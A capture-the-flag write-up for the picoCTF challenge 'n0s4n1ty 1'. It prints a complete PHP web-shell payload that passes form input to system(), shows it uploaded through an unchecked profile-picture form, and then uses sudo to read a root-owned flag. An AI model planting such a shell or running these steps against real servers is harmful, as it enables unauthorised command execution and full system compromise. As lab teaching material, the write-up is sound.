n0s4n1ty 1
Goal: the site takes a profile picture upload and does not appear to check it. The flag is in
/root, which the web server user cannot read.
Approach
Section titled “Approach”The upload is the whole attack surface, so the question is whether it cares what it is handed. It does not, and it keeps the filename, which means a file named shell.php lands somewhere the server is willing to run PHP from. The payload is the one revshells.com lists as PHP cmd, filed under its Reverse tab despite opening no connection back and needing no listener: it renders a text box and passes whatever you type into PHP’s system.
<html><body><form method="GET" name="<?php echo basename($_SERVER['PHP_SELF']); ?>"><input type="TEXT" name="cmd" id="cmd" size="80"><input type="SUBMIT" value="Execute"></form><pre><?phpif(isset($_GET['cmd'])){system($_GET['cmd']);}?></pre></body><script>document.getElementById("cmd").focus();</script></html>The site prints the destination back on a successful upload, Path: uploads/shell.php, and requesting that path renders the box. The extension is what routes the file to the interpreter instead of to the browser as text, and the upload handler never looks at it.
The challenge itself says the flag is in /root, so the only open question is what the web user is permitted to do. Ask sudo.
$ sudo -l
Matching Defaults entries for www-data on challenge: env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin
User www-data may run the following commands on challenge: (ALL) NOPASSWD: ALLThat answers two things at once. It names the invoking user, www-data, which doubles as proof the shell is executing, and it grants that user every command on the box without a password.
$ sudo ls /root/flag.txt$ sudo cat /root/flag.txt<flag>picoCTF{wh47_c4n_u_d0_wPHP_2df2d584} Why it works
Section titled “Why it works”Two failures have to line up. The upload takes an arbitrary extension and stores the file under the document root, which turns a picture form into code execution, and on its own that would buy an attacker only what www-data can already reach, which here is nothing. The sudoers entry is what makes it a root compromise.
NOPASSWD is also why a single command works through a web form at all. It suppresses the password prompt, which is the part that would otherwise want a terminal, and the Defaults line lists only env_reset, mail_badpass and secure_path, with no requiretty to insist on one. Both halves of that are readable straight off the sudo -l output, which is why it is the first thing to run and not the last.